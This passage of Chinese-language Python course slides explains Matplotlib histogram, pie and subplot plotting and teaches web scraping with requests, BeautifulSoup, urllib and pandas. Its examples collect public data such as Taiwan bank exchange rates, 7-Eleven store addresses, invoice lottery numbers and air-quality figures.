- 21行設定x軸標籤。22行設定y軸標籤。
- 23行設定圖名稱。24行要求顯示圖。

Matplotlib hist函式繪製直方圖

- 語法：matplotlib.pyplot.hist(x, bins=None, range=None, density=None, weights=None, cumulative=False, bottom=None, histtype='bar', align='mid', orientation='vertical', rwidth=None, log=False, color=None, label=None, stacked=False, normed=None, hold=None, data=None, **kwargs)
- 計算並繪製x的直方圖。如果輸入包含多個資料，則返回值是元組(n,bins,patches)或([n0，n1，...],bin,[patches0，patches1，...])。可以透過x提供多個資料作為可能不同長度的資料集列表([x0，x1，...])，或者作為2-D nararray，其中每列是資料集。

Matplotlib hist 函式繪製直方圖

- 常用參數說明：
  - bins：整數、序列或'auto'，可選。表示資料分格數。
  - cumulative：布林值，可選。如果為True，則計算直方圖，其中每個bin給出該bin中的計數加上較小值的所有bin。最後一個bin設定資料點的總數。預設值為False。
  - histtype：{'bar'，'barstacked'，'step'，'stepfilled'}，可選。是指要繪製的直方圖的類型。'bar'是傳統的條形直方圖。如果給出多個資料，則各條並排排列。'barstacked'是一種條形直方圖，其中多個資料堆疊在一起。'step'產生一個預設未填充的線圖。'stepfilled'生成一個預設填充的線圖。此參數預設為'bar'。

Matplotlib pie 函式繪製圓形圖

- 語法：matplotlib.pyplot.pie(x, explode=None, labels=None, colors=None, autopct=None, pctdistance=0.6, shadow=False, labeldistance=1.1, startangle=None, radius=None, counterclock=True, wedgeprops=None, textprops=None, center=(0, 0), frame=False, rotatelabels=False, hold=None, data=None)
- 製作陣列x的圓形圖。每個扇形的分數面積由x / sum(x)給出。扇形是逆時針繪製的，預設情況下從x軸開始。
- 常用參數：
  - explode：預設值為None，如果不是None，則是len(x)陣列，它指定用於偏移每個扇形的半徑的分數。
  - labels：預設值為None，一系列字串，為每個扇形提供標籤。
  - colors：預設值None，是一系列matplotlib顏色args，圓形圖將透過它迴圈。如果為None，將使用當前活動週期中的顏色。

範例程式E4-2-5-1.py 程式說明

- 1行匯入matplotlib.pyplot套件。
- 2行輸入標籤資料。
- 3行輸入圓形圖中各扇形大小，每個扇形的分數面積由x/sum(x)給出。扇形是逆時針繪製的，預設情況下從x軸開始。
- 4行輸入圓形圖中各扇形顏色。
- 5行指定用於偏移每個扇形的半徑的分數。
- 6行繪製圓形圖。
- 7行設定座標軸尺度相等，所繪出的圓形圖會是正圓。
- 8行要求顯示圖形。

4-3 圖表繪製其他技巧

- 多圖表繪製
  - 範例程式E4-3-1-1.ipynb-多圖表繪製基本操作
  - 範例程式E4-3-1-2.py-長條圖+圓形圖
  - 範例程式E4-3-1-3.py-Numpy產生隨機數後以折線圖呈現
- CSV檔案繪製圖表
  - 範例程式E4-3-2-1.py-美國死谷2014年全年高低氣溫圖
- Numpy模組應用
  - 範例程式E4-3-3-1.py-Numpy產生串列以折線圖呈現
  - 範例程式E4-3-3-2.py-Numpy產生函式值以兩個子圖呈現

Matplotlib 多圖表繪製

- 創建軸基本方法
  - 使用plt.axes函式。
  - 預設，創建一個填充整個圖形的標準軸物件。
  - plt.axes參數，是圖形座標系中四個數字的串列，代表圖形座標系中「左、底、寬、高」，範圍圖左下角0到右上角的1。
  - plt.subplot()，在網格中創建一個子圖，三個整數參數:列數、行數和要在此創建的繪圖的索引，從左上角到右下角，命令plt.subplots_adjust用於調整圖間距。
  - 使用plt.subplots() 注意subplots末尾的s是在一行中創建完整的子圖網格，並將它們返回到NumPy陣列中。其參數是列數和行數，及可選關鍵字sharex和sharey，允許設定不同軸間關係。

範例程式E4-3-1-2.py 程式說明

- 1行匯入matplotlib.pyplot套件。
- 2行輸入標籤資料。
- 3行輸入圓形圖中各扇形大小，每個扇形的分數面積由x/sum(x)給出。扇形是逆時針繪製的，預設情況下從x軸開始。
- 4行輸入圓形圖中各扇形顏色。
- 5行指定用於偏移每個扇形的半徑的分數。
- 6-7行指定第一個子圖的位置，繪製長條圖。
- 8-9行指定第二個子圖的位置，繪製圓形圖。
- 10行設定座標軸尺度相等。
- 11行要求顯示圖形。

範例程式E4-3-1-3.py 程式說明

- 1-3行import所需套件。
- 4行運用numpy的random.seed方法重設隨機數起始種子值。
- 5-7行運用numpy的random.normal方法取得標準化的亂數資料串列，並將之排序後，存成y串列。
- 8行運用numpy的arange方法取得相等間隔資料串列。
- 9行設定figure物件。
- 10-14行繪製第一個子圖，此為線性scale的長條圖。
- 15-19行繪製第二個子圖，此為log scale的長條圖。
- 20-24行繪製第三個子圖，此為symmetric log scale的長條圖。
- 25-29行繪製第四個子圖，此為logit scale的長條圖。
- 30行設定較小的y軸刻度標記。
- 31行調整子圖的外觀使個子圖大小接近。
- 32行要求顯示圖形。

範例程式E4-3-2-1.py 程式說明

- 1-3行import所需套件。
- 4-19行讀取'death_valley_2014.csv'，建立dates、highs、slows三個串列儲存2014美國死谷每天高低溫資料，並將之轉換為攝氏溫度。
- 20行設定figure物件。
- 21行繪製每日高溫折線圖。
- 22行繪製每日低溫折線圖。
- 23行在高、低溫折線間塗上顏色。
- 24-29行設定相關圖形標記。
- 30行要求顯示圖形。

範例程式E4-3-3-1.py 程式說明

- 1-2行import所需套件。
- 3行運用numpy的arange方法取得間隔大小相同的一個串列，存為t物件。
- 4行運用numpy的exp方法取得t串列物件對應的自然指數函式值，存為s物件。
- 5行以t與s繪製折線圖。
- 6-8行設定座標軸的限制與標記。
- 9行設定整個圖的標題。
- 10行要求顯示格線。
- 11行要求顯示圖形。

範例程式E4-3-3-2.py 程式說明

- 1-3行import所需套件。
- 4-7行定義函式f，能對輸入值計算cos與exp函式值，將之相乘後回傳。
- 8-10行運用numpy的arange方法取得間隔大小相同的三個串列，存為t1、t2、t3物件。
- 11-15行繪製第一個子圖，以t1、f(t1)與t2、f(t2)繪製折線圖，並處理相關圖形標記。
- 16-21行繪製第二個子圖，以t3、2*np.pi*t3繪製折線圖，並處理相關圖形標記。
- 22行要求顯示圖形。

Python 網頁資料擷取與分析

urllib, re, requests, Beautiful soup

國立臺北科技大學資訊工程系
郭忠義教授

網頁擷取

- 網路爬蟲程式抓取(Web scraping)網頁資料
  - 網站開放資料格式如csv、XML，可透過HTTP協定獲取內容。
  - 使用requests抓取HTTP Web伺服器靜態和動態Web頁面。
  - 使用BeautifulSoup解析工具，轉換網路上靜態與動態非結構化資料HTML格式元素。
  - 使用正規表示式匹配工具，re，獲取網頁資料。
  - 以urllib套件存取靜態與動態頁面。
  - Pandas解析表格資料。

查詢台銀牌告匯率

```
import requests                                                          #匯入套件
from bs4 import BeautifulSoup                                            #解析網頁
import csv                                                               #處理CSV檔案
from time import localtime, strftime                                     #處理時間
from os.path import exists                                               #台銀匯率網站
html = requests.get("https://rate.bot.com.tw/xrt?Lang=zh-TW")            #回傳HTML檔案，轉存html物件
bsObj = BeautifulSoup(html.content, "lxml")                              #解析網頁，建立bs物件
for single_tr in bsObj.find("table", {"title":"牌告匯率"}).find("tbody").findAll("tr"):  #針對匯率表格分析
    cell = single_tr.findAll("td")                                       #找到每一個表格
    currency_name = cell[0].find("div", {"class":"visible-phone"}).contents[0]   #找到表格中幣別
    currency_name = currency_name.replace("\r","")                       #取代不需要的字元
    currency_name = currency_name.replace("\n","")
    currency_name = currency_name.replace(" ","")
    currency_rate = cell[2].contents[0]                                  #找到幣別匯率
    print(currency_name, currency_rate)
    file_name = "bankRate" + currency_name + ".csv"                      #每種幣別存一個檔案
    now_time = strftime("%Y-%m-%d %H:%M:%S", localtime())                #記錄目前時間
    if not exists(file_name):
        data = [['時間', '匯率'], [now_time, currency_rate]]             #準備寫入檔案資料
    else:
        data = [[now_time, currency_rate]]
    f = open(file_name, "a")                                             #開啟檔案
    w = csv.writer(f)                                                    #建立寫入CSV物件
    w.writerows(data)                                                    #寫入資料
    f.close()                                                            #關檔案
```

查詢台銀牌告匯率

- 將cell[2].contents[0]設定給currency_rate，再印出currency_name、currency_rate的結果。
- 建立csv檔案名稱。
- 使用time函式庫得到現在的時間now_time。
- 處理準備寫入檔案內容，如果檔案不存在，先把一行描述加上去；接下來用串列中的串列來處理每天匯率，每一個串列代表爬到的一筆匯率資料。
- 處理csv檔案，先將檔案開啟，此時參數"a"讓加上的資料持續寫在檔案末端，接著將data物件寫入，最後把檔案關閉。

靜態網頁擷取

- 靜態網頁不包含.js檔，伺服器回傳完整網頁
- 解析網頁的HTML檔案元素
  - Tag(標籤)是元素名字
    - <head>：表示網站開頭部分。
    - <body>：定義網頁檔案之主體。
    - ：定義網頁檔案的一個區塊，裡面可包含很多元素。
    - <title>：定義網頁標題名稱，顯示於視窗標題和分頁之名稱。
    - <h1>：定義HTML內文標題1(最高級)標題，通常是最重要標題。
    - <a href>：定義超連結，跟著href屬性一起合用。
    - <form>：定義用於使用者輸入之HTML表單。
    - <tr> / <td> ：定義表格最常用標籤， <tr> 是列， <td> 則是欄。
  - Attribute(屬性)描述元素的屬性
  - Content(內容)則是元素的內容

靜態網頁擷取

- Attribute(屬性)描述元素的屬性
  - id：獨一無二的網頁代表。
  - class：描述類似的元素的歸類。
  - href：超連結，可繼續深入下一個連結。
- Content(內容)則是元素的內容

- 靜態網頁網路爬蟲步驟
  - 獲取網站網頁
  - 分析網頁原始碼
  - 儲存結果

靜態網頁網路爬蟲實作

- 獲取網站網頁
  - http://rate.bot.com.tw/xrt?Lang=zh-TW(台銀牌告匯率)
- 分析網頁原始碼:按滑鼠右鍵，點選檢視網頁原始碼按鈕

靜態網頁網路爬蟲實作

- 分析網頁原始碼
  - 網頁表格包括由tr(表格列標籤)分割各幣別，各幣別內有td(表格行標籤) 搭配div class和visible-phone描述的幣別資訊(如美金(USD))與由td標籤描述的各種匯率資料(如現金買入匯率29.915)

```
<!DOCTYPE html>
<html lang="zh-TW" class="no-js">
<head>
    <meta charset="utf-8" />
    <title>臺灣銀行牌告匯率</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="臺灣銀行匯率利率黃金牌價查詢">
    <meta name="keywords" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
    <meta name="format-detection" content="telephone=no">
        <meta name="robots" content="index,follow" />
```

```
        <tbody>
                <tr>
                    <td data-table="幣別" class="currency phone-small-font">
                        <div>
                            <div class="sp-div sp-america-div">
                                <img title="幣別國旗" alt="幣別國旗" src="/Content/images/sprite_lateral.png" class="sp-
                            </div>
                            <br class="visible-phone print_hide" />
                            <div class="visible-phone print_hide">
                                美金 (USD)
                            </div>
                            <div class="hidden-phone print_show" style="text-indent:30px;">
                                美金 (USD)
                            </div>
                        </div>
                    </td>
                    <td data-table="本行現金買入" class="rate-content-cash text-right print_hide">29.195</td>
                    <td data-table="本行現金賣出" class="rate-content-cash text-right print_hide">29.865</td>
                    <td data-table="本行即期買入" class="rate-content-sight text-right print_hide" data-hide="phone">29
                    <td data-table="本行即期賣出" class="rate-content-sight text-right print_hide" data-hide="phone">29
```

time函式

- localtime() 格式化時間戳記為本地的時間
- **strftime()接收以時間**位元組，回傳字串表示的當地時間

```
import time  #獲取目前時間
print(time.localtime())  #獲取格式化的時間
localtime = time.asctime(time.localtime())
print (localtime)
#格式化日期成2016-03-20 11:45:39形式
print (time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
# 格式化成Sat Mar 28 22:24:24 2016形式
print (time.strftime("%a %b %d %H:%M:%S %Y", time.localtime()))
```

```
time.struct_time(tm_year=2020, tm_mon=7, tm_mday=8, tm_hour=0, tm_min=52,
tm_sec=46, tm_wday=2, tm_yday=190, tm_isdst=0)
Wed Jul  8 00:52:46 2020
2020-07-08 00:52:46
Wed Jul 08 00:52:46 2020
```

request函式

```
import requests
#查詢參數
my_params = {'key1': 'value1', 'key2': 'value2'}
# 將查詢參數加入 GET 請求中
r = requests.get('http://httpbin.org/get', params = my_params)
print(r.text)
#觀察最後所產生的 URL：
print(r.url)
```


```
{
  "args": {
    "key1": "value1",
    "key2": "value2"
  },
  "headers": {
    "Accept": "*/*",
    "Accept-Encoding": "gzip, deflate",
    "Host": "httpbin.org",
    "User-Agent": "python-requests/2.21.0",
    "X-Amzn-Trace-Id": "Root=1-5f04e8f4-90c0275aec1900fc0fd21d38"
  },
  "origin": "60.250.162.108",
  "url": "http://httpbin.org/get?key1=value1&key2=value2"
}
```


http://httpbin.org/get?key1=value1&key2=value2

request函式

```
import requests
#帳號密碼登入
r = requests.get('https://irs.zuvio.com.tw/irs/login', auth=('jykuo@ntut.edu.tw', '????'))
print(r.status_code)
print(r.text)
```

```
import requests
# 資料
my_data = {'key1': 'value1', 'key2': 'value2'}
# 將資料加入 POST 請求中
r = requests.post('http://httpbin.org/post', data = my_data)
print(r.text)
# 要上傳的檔案
my_files = {'my_filename': open('A.py', 'rb')}
# 將檔案加入 POST 請求中
r = requests.post('http://httpbin.org/post', files = my_files)
print(r.status_code)
```

BEAUTIFUL SOUP

- 解析HTML文件樹

解析器	使用方法	優點	缺點
Python's html.parser	BeautifulSoup(markup, "html.parser")	python自身帶有，速度較快且較相容Python2.7.3與 3.2.2後版本	Python 2.7.3 或 3.2.2前版本相容性差
lxml's HTML parser	BeautifulSoup(markup, "lxml")	速度很快 相容性好	需安裝C語言函式庫
lxml's XML parser	BeautifulSoup(markup, "lxml-xml") BeautifulSoup(markup, "xml")	速度快，唯一支持XML解析器	需安裝C語言函式庫
html5lib	BeautifulSoup(markup, "html5lib")	相容性好；可像web瀏覽器解析html頁面；產生正確HTML5	速度慢；與外部Python語言相關

BEAUTIFUL SOUP

- 使用fin_all(["a", "b"])方法找所有標籤。
- # 限制搜尋結果數量
- tags = soup.find_all(["a", "b"], limit=2)
- 輸出後的型態會是像List型態的陣列可透過[]取得第幾個標籤

- find_all()方法搜索目前tag的所有tag子節點，判斷是否符合篩檢程式的條件

- select()是使用CSS選擇器的語法找到tag

BEAUTIFUL SOUP

- 使用select( )方法找資訊(YouTube)。
  - class 用 "."
  - id 用 "#"
  - 當 class="yt-lockup-video" 語法 .yt-lockup-video。
  - 用"class"or"id"名找:
    - print(soup.select(".yt-lockup-video"))
  - 用"標籤"+"屬性"+"屬性名"找:
    - print(soup.select("div.yt-lockup-video"))

```
url = "https://www.youtube.com/results?search_query=%E5%91%A8%E6%9D%B0%E5%80%AB"
request = requests.get(url)
content = request.content
soup = BeautifulSoup(content, "html.parser")
print(soup.select(".yt-lockup-video"))
print(soup.select("div.yt-lockup-video"))
```

BEAUTIFUL SOUP

- 使用select( )方法找資訊。
  - 找以下兩行: soup.select("#link1,#link2")

```
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a>
```

  - 用屬性值找: soup.select("a[rel='spf-prefetch']")

```
<a href="/watch?v=COhiu3c7Sgc" class="yt-uix-tile-link yt-ui-ellipsis yt-ui-ellipsis-2 yt-uix-sessionlink      spf-link " data-sessionlink="itct=CFoQ3DAYByITCL_bhpjvydQCFcRDKgodsmYIWSj0JFIJ5ZGo5p2w5YCr" title="周杰倫 Jay Chou【一點點 A Little Bit】Official MV" aria-describedby="description-id-224356" rel="spf-prefetch" dir="ltr">周杰倫 Jay Chou【一點點 A Little Bit】Official MV</a>
```

臺灣證交所本國上市證券

```
#查詢台灣證交所本國上市證券國際證券辨識號碼一覽表
import pandas as pd                                  #匯入pandas套件
df=pd.read_html('http://isin.twse.com.tw/isin/C_public.jsp?strMode=2',encoding='big5hkscs'
,header=0)
newdf=df[0][df[0]['產業別'] > '0']                          #產業別資料大於 0
#del newdf['國際證券辨識號碼(ISIN Code)'],newdf['CFICode'],newdf['備註']
del newdf['CFICode'],newdf['備註']                           #刪除兩個不需要欄位
df2=newdf['有價證券代號及名稱'].str.split(' ', expand=True) #分成兩個欄位回存
df2 = df2.reset_index(drop=True)                            #重設索引值
newdf = newdf.reset_index(drop=True)                         #重設索引值
for i in df2.index:
    if '    ' in df2.iat[i,0]:                          #將有價證券代號及名稱
        df2.iat[i,1]=df2.iat[i,0].split('    ')[1]          #欄位資料內容分割為2，回存df2物件中。
        df2.iat[i,0]=df2.iat[i,0].split('    ')[0]          #回存df2物件中。
newdf=df2.join(newdf)                                       #將df2合併到newdf物件
newdf=newdf.rename(columns = {0:'股票代號',1:'股票名稱'})   #修改欄位名稱
del newdf['有價證券代號及名稱']                               #將"有價證券代號及名稱"欄位刪除
newdf.to_excel('stock_.xlsx', sheet_name='Sheet1',index=False)  #存入excel
```

動態網頁擷取7-11各門市資訊

- 爬取用戶與伺服器互動過程
  - 範例程式E2-1-2-1.py-查詢ibon中7/11門市資訊，分三個步驟
  - 在門市查詢頁面按ctrl-shift-I(右鍵:檢查)，打開Chrome開發者模式。

爬取客戶與伺服器互動過程

- 重新整理網頁頁面：在原來頁面下按滑鼠右鍵，出現快顯功能表後，點選【重新載入】重整網頁頁面。
- 接著點選【Network】按鈕，開始觀察用戶與伺服器間的互動。

爬取客戶與伺服器互動過程

- 觀察資料獲取的方式：從右邊各指令花費時間發現retail_inquiry_ajax.aspx耗時最長，可推論是進行資料傳接造成。

爬取客戶與伺服器互動過程

- 以滑鼠點擊retail_inquiry_ajax.aspx，瞭解此時請求網址是http://www.ibon.com.tw/retail_inquiry_ajax.aspx，方式是post。
- 往下捲動頁面到最底，瞭解Post請求時，傳出的資訊與相關變數名稱，分別'strTargetField':'COUNTY'、'strKeyWords':'縣市'。

爬取客戶與伺服器互動過程

- 接著點選【Response】按鈕確認回傳資訊是否存在，發現可得所要的店名、地址等資訊。
- 觀察完就可開始用Python爬取資訊

動態網頁擷取7-11各門市資訊

```
list1 = ['A', 'B', 'C', 'D', 'E']
for i in enumerate(list1):
    print(i)
for index, item in enumerate(list1):
    print(index, item)
```

```
(0, 'A')
(1, 'B')
(2, 'C')
(3, 'D')
(4, 'E')
0 A
1 B
2 C
3 D
4 E
```

```
pd.read_html(res.text, header=0)[0]
```
抓取網頁第0格

動態網頁擷取7-11各門市資訊

```
#抓取7-eleven各門市資訊
import requests       #抓取網頁的套件
import pandas as pd   #分析資料的套件
# 建立一個縣市的list
city = ['基隆市', '台北市', '新北市', '桃園市']
#city = ['基隆市', '台北市', '新北市', '桃園市', '新竹市','新竹縣','苗栗縣','台中市','彰化縣', '雲林縣', '南投縣', '嘉義縣', '嘉義市', '台南市', '高雄市', '屏東縣', '台東縣', '花蓮縣', '宜蘭縣', '連江縣', '金門縣', '澎湖縣']
#使用迴圈依序取得每一個城市的門市資訊， enumerate(city) 產生 [0, 基隆市] [1, 台北市][2, 新北市][3, 桃園市]
for index, city in enumerate(city):
    #剛在網頁開發者模式觀察到的Post發出的資訊是那些
    data = {'strTargetField':'COUNTY','strKeyWords':'%s' % city}
    #res 取得網頁所有資料
    res = requests.post('http://www.ibon.com.tw/retail_inquiry_ajax.aspx', data=data)
    # 第一次迴圈
    if index == 0:
        #網頁資料的形式是table，使用panda的 read_html 取得資料 [0]第一欄資料
        # res.txt 網頁資料中的文字，[0]第一欄資料, header=0 不要第一列標頭資料
        df_7_11_store = pd.read_html(res.text, header=0)[0]
        #建立dataframe，將城市填入。
        df_7_11_store['縣市'] = city
    # 第二次迴圈以上就將資訊直接append到dataframe裡
    if index > 0:
        oneCity_store = pd.read_html(res.text, header=0)[0]
        oneCity_store['縣市'] = city
        df_7_11_store = df_7_11_store.append(oneCity_store)
        #print(oneCity_store)
    #印出查詢資料進度, shape[0] 查詢本次城市取得資料的筆數
    print('%2d) %-*s %4d' % (index+1, 5, city, pd.read_html(res.text, header=0)[0].shape[0]))
#將資料輸出成Excel
df_7_11_store.to_excel('7_11.xlsx', encoding="UTF-8", index=False)
```

動態網頁擷取7-11各門市資訊

- 導入requests、pandas函式庫。
- 建立需要抓取縣市的串列。
- 使用迴圈依序取得每一個城市的門市資訊，並用index做為串列標註。
- 根據Chrome開發者模式觀察到Post發出資訊，傳送給http://www.ibon.com.tw/retail_inquiry_ajax.aspx模擬Post發出資訊data。
- 由於所觀察到回傳資料的形式是table，迴圈一次處理時呼叫pandas的read_html方法建立dataframe，並將城市填入。
- 迴圈第二次以上處理時呼叫pandas的read_html方法將資訊直接append到dataframe裡，並將城市填入。
- 印出執行進度。
- 將資料利用pandas的to_excel方法輸出成Excel檔案'7_11.xlsx'。

動態網頁擷取7-11各門市資訊

- 執行程式觀看結果

Spyder (Python 3.6)

File Edit Search Source Run Debug Consoles Projects Tools View Help

Editor - C:\Users\11247\AppData\Roaming\Microsoft\Windows\Network Shortcuts\temp.py

temp.py

```python
#抓取7-eleven各門市資訊
import requests          #抓取網頁的套件
import pandas as pd      #分析資料的套件
# 建立一個縣市的list
city = ['基隆市', '台北市', '新北市', '桃園市']
#city = ['基隆市', '台北市', '新北市', '桃園市', '新竹市','新竹縣','苗栗縣','台中市'
#使用迴圈依序取得每一個城市的門市資訊
for index, city in enumerate(city):
    #剛在網頁開發者模式觀察到的Post發出的資訊是那些
    data = {'strTargetField':'COUNTY','strKeyWords':'%s' % city}
    #res 取得網頁所有資料
    res = requests.post('http://www.ibon.com.tw/retail_inquiry_ajax.aspx', da
    # 第一次迴圈
    if index == 0:
        #網頁資料的形式是table，使用panda的 read_html 取得資料 [0]第一欄資料
        # res.txt 網頁資料中的文字，[0]第一欄資料, header=0 不要第一列標頭資料
        df_7_11_store = pd.read_html(res.text, header=0)[0]
        #建立dataframe，將城市填入。
        df_7_11_store['縣市'] = city
    # 第二次迴圈以上就將資訊直接append到dataframe裡
    if index > 0:
        oneCity_store = pd.read_html(res.text, header=0)[0]
        oneCity_store['縣市'] = city
        df_7_11_store = df_7_11_store.append(oneCity_store)
        #print(oneCity_store)
    #印出查詢資料進度, shape[0] 查詢本次城市取得資料的筆數
    print('%2d) %-*s %4d' % (index+1, 5, city, pd.read_html(res.text, header=
#將資料輸出成Excel
df_7_11_store.to_excel('7_11.xlsx', encoding="UTF-8", index=False)
```

Help

Source Console Object

Help Variable explorer File exp

IPython console

Console 2/A

```
Python 3.6.4 |Anaconda,
Type "copyright", "credi

IPython 6.2.1 -- An enha

In [1]: runfile('C:/User
Users/11247/AppData/Roam
 1) 基隆市      79
 2) 台北市     832
 3) 新北市     998
 4) 桃園市     662

In [2]:
```

查看檔案

- 切換到 Windows 檔案總管，查看Excel檔案

	A	B	C	D
1	店號	店名	地址	縣市
2	112477	極緻	基隆市仁愛區仁二路197號1樓	基隆市
3	112879	碇內	基隆市暖暖區源遠路158號160號	基隆市
4	113746	德欣	基隆市中山區復興路328號之6號之	基隆市
5	117140	德信	基隆市信義區東信路50號52號	基隆市
6	117896	深澳坑	基隆市信義區深澳坑路2-6號2-7號	基隆市
7	118419	聖心	基隆市中山區西定路38號40號	基隆市
8	118866	新壯觀	基隆市安樂區麥金路64號1樓	基隆市
9	119216	篤鑫	基隆市七堵區堵南街22-1號1樓	基隆市
10	119788	富華	基隆市中山區中華路9號	基隆市
11	123525	滿福	基隆市信義區深澳坑路166之30號	基隆市

修改程式

- 增加其他縣市
- 將詳細地址查詢結果也印出

統計最多小七的路之地址

```
#抓取7-eleven各門市資訊
import requests        #抓取網頁的套件
import pandas as pd    #分析資料的套件
# 建立一個縣市的list
city = ['基隆市', '台北市', '新北市', '桃園市']
#使用迴圈依序取得每一個城市的門市資訊
roadAddressRecord ={}
for index, city in enumerate(city):
    #剛在網頁開發者模式觀察到的Post發出的資訊
    data = {'strTargetField':'COUNTY','strKeyWords':'%s' % city}
    #res 取得網頁所有資料
    res = requests.post('http://www.ibon.com.tw/retail_inquiry_ajax.aspx', data=data)
    #本次城市門市個數
    count = pd.read_html(res.text, header=0)[0].shape[0]
    #取得本次城市門市資料
    data = pd.read_html(res.text, header=0)[0]
```

統計最多小七的路之地址

```
#針對本次城市所有門市統計同一個路的門市
    for i in range(count):
        #第三欄資料為地址 iloc[i,2]
        fullAddress = data.iloc[i,2]
        #找城市名稱開頭，路結尾的地址字串
        start = fullAddress.find(city[0])
        end = fullAddress.find('路')+1
        #end = fullAddress.find('街')+1
        if end<3: continue      #空的資料跳過
        roadAddress = fullAddress[start:end]
        #print(roadAddress)
        if roadAddress not in roadAddressRecord:
            roadAddressRecord[roadAddress]=1
        else:
            roadAddressRecord[roadAddress]+=1
    print('%2d) %-*s %4d' % (index+1, 5, city, pd.read_html(res.text, header=0)[0].shape[0]))
print('------印出超過 9 間小七的路名---------')
for key, value in roadAddressRecord.items():
    if value>9:
        print(key, ',', value)
print('------印出排序之後前五名---------')
num=0
for key, value in sorted(roadAddressRecord.items(), key=lambda item:item[1], reverse=True):
    if (num>=5): break
    print(key, ',', value)
    num = num +1
```

修改程式

- 印出最多小七的街名
- 印出最多小七的街名和路名

urllib與re

- urllib常用方法
  - E-2-1-1.ipynb

urllib套件常用方法

方法	功能說明
urllib.request	開啟和讀取URL
urllib.error	處理urllib.request引發的異常訊息
urllib.parse	用於解析URL
urllib.robotparser	用於解析robots.txt文件

urllib套件常用方法

- urllib.request.urlopen(url，data = None，[timeout，] *，cafile = None，capath = None，cadefault = False，context = None)
  - url，字串或Request物件。
  - data，傳給server的資料

```
import urllib.parse
import urllib.request

url = 'http://www.someserver.com/cgi-bin/register.cgi'
values = {'name' : 'Michael Foord',
          'location' : 'Northampton',
          'language' : 'Python' }
data = urllib.parse.urlencode(values)
data = data.encode('ascii')                    # data should be bytes
req = urllib.request.Request(url, data)
with urllib.request.urlopen(req) as response:
   the_page = response.read()
```

urllib套件常用方法

- urllib.request.urlopen()回傳物件，具有方法：
  - geturl()：回傳真實回應的URL (url可能redirect)。
  - info()：回傳 httplib.HTTPMessage物件，標題。
  - getcode(), status：回傳回應HTTP狀態碼，200成功，404g失敗。

```
import urllib.request;
url='http://www.ntu.edu.tw'
uo=urllib.request.urlopen(url)
print(uo.geturl())
print(uo.info())
print(uo.getheaders())
print(uo.status)
print(uo.getcode())
content=uo.read()
#print('Byte:', content)
#print('string:', content.decode())
```

統一發票兌獎

```
from __future__ import unicode_literals, print_function
import urllib
from bs4 import BeautifulSoup
import urllib.request
request_url = 'http://invoice.etax.nat.gov.tw/'                    # 財政部官網
htmlContent = urllib.request.urlopen(request_url).read()  # 開啟網址取得HTML
soup = BeautifulSoup(htmlContent, "html.parser")       #以"html.parser"解析設為soup物件
#用soup的find_all找網頁所有標籤為"span"且class屬性值"t18Red"內容，設給result物件
results = soup.find_all("span", class_="t18Red")
subTitle = ['特別獎', '特獎', '頭獎', '增開六獎']                    # 獎項
# 找網頁中所有標籤為'h2'且id屬性值為'tabTitle'內容，設給months物件
months = soup.find_all('h2', {'id': 'tabTitle'})
#運用months物件find_next_sibling找標籤為'h2'的下二個內容，
#將text設定為month_newest(最新一期)與month_previous(上一期)物件。
month_newest = months[0].find_next_sibling('h2').text         # 最新一期
month_previous = months[1].find_next_sibling('h2').text       # 上一期
print("最新一期統一發票開獎號碼 ({0})：".format(month_newest))
for index, item in enumerate(results[:4]):
    print('>> {0} : {1}'.format(subTitle[index], item.text))
print ("上期統一發票開獎號碼 ({0})：".format(month_previous))
for index2, item2 in enumerate(results[4:8]):
    print ('>> {0} : {1}'.format(subTitle[index2], item2.text))
```

天氣預報資料

```
import csv
from urllib.request import urlopen
from bs4 import BeautifulSoup
file_name = "output.csv"
# 以寫入開啟'output.csv'，編碼utf8，設為f物件
f = open(file_name, "w", encoding = 'utf8')
#對f物件用writer方法設定為w 物件
w = csv.writer(f)
htmlname="file:input.html"
# 用urllib.request的urlopen開啟網頁物件，設為html物件
html = urlopen(htmlname)
# 用BeautifulSoup以"lxml"方式解析html物件，設為bsObj物件
bsObj = BeautifulSoup(html, "lxml")
# 用bsObj物件find找"table"標籤；再找"tbody"標籤
# 再用findAll找所有"tr"標籤，設定為single_tr物件。
for single_tr in bsObj.find("table").find("tbody").findAll("tr"):
    # 對single_tr物件用findAll找所有"td"標籤，設為cell物件
    cell = single_tr.findAll("td")
    #將cell[0]與cell[1]中text取出(預報名稱與代號)組合為data串列
    F0 = cell[0].text
    F1 = cell[1].text
    data = [[F0,F1]]
    w.writerows(data) # 將data寫入w物件
f.close()
```

搜尋財政部網頁關鍵字

```
import re
import urllib
import urllib.request
import urllib.error
def gethtmlfile(url):
    try:  #開啟網頁，處理可能的失敗
        html = urllib.request.urlopen(url)
    except urllib.error.HTTPError as e:
        print(e)
        return None
    return html
request_url = 'http://invoice.etax.nat.gov.tw/' # 財政部官網
htmlfile = gethtmlfile(request_url)  #讀取網頁，解碼
htmlcontent = htmlfile.read().decode('utf-8')
if htmlfile != None:              #若讀取成供則搜尋字串
    pattern = input("請輸入欲搜尋的字串：") # pattern存放欲搜尋的字串
    if pattern in htmlcontent:
        print("搜尋 {:s} 成功".format(pattern))
    else:
        print("搜尋 {:s} 失敗".format(pattern))
    name = re.findall(pattern, htmlcontent) # 找到所有資料
    if name != None:                  # 輸出找到次數
        print("{:s} 出現 {:d} 次".format(pattern, len(name)))
    else:
        print("{:s} 出現 0 次".format(pattern))
else:
    print("網頁下載失敗")
```

```
請輸入欲搜尋的字串：發票
搜尋 發票 成功
發票 出現 54 次
```

requests

- requests常用方法
  - 範例程式E2-3-1-1.ipynb-基本操作
    - httpbin是HTTP Request & Response Service，發送請求後按指定規則回應請求。類似功能強大echo伺服器。
    - 支援HTTP/HTTPS，所有HTTP動詞，模擬302跳轉次數，回傳HTML檔或圖片檔。

```
import requests
r = requests.get("http://httpbin.org/get")
print(r.text)
r = requests.post('http://httpbin.org/post', data = {'key':'value'})
print(r.text)
r = requests.put("http://httpbin.org/put")
print(r.text)
r = requests.delete("http://httpbin.org/delete")
print(r.text)
r = requests.head("http://httpbin.org/get")
r = requests.options("http://httpbin.org/get")
```

PM2.5開放資料

```
import requests
import json
url = 'http://opendata2.epa.gov.tw/AQI.json'
response = requests.get(url)                    #取得網頁資料
print('Content-Length:', response.headers['Content-Length'])
response = json.loads(response.text)            # 轉換 Json 格式
print('新北市PM2.5相關資料：')
